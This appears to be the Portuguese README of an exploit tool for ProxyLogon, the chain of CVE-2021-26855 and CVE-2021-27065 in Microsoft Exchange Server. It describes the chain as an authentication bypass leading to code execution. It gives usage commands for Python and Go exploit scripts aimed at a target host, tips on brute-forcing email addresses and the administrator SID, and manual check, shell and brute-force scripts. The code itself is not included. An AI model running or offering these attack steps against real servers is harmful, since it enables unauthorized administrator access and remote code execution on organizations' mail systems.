ProxyLogon

ProxyLogon é o nome genericamente formal para CVE-2021-26855, uma vulnerabilidade no Microsoft Exchange Server que permite a um invasor contornar a autenticação e se passar por administrador. Também encadeamos esse bug com outra vulnerabilidade pós-autenticação de escrita arbitrária de arquivos, CVE-2021-27065, para obter execução de código.

ProxyLogon Para Python3

usage:
    sudo python3 proxylogon.py --host=target.com [email protected]
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt

ProxyLogon Para Go

usage:
    go run proxylogon.go -u target.com -e [email protected]

Dicas:

1. reconhecer o alvo para encontrar um endereço de e-mail válido
2. se não encontrar nenhum e-mail, use bruteforce no alvo com seu arquivo de e-mails.
3. em alguns alvos, a automação do exploit não funciona; você deve usar bruteforce no SID e substituir em SID=500

pentest manual

sudo python2 /manual/check.py 
sudo python2 /manual/shell.py 
sudo python2 /manual/brute.py 

referências

• proxylogon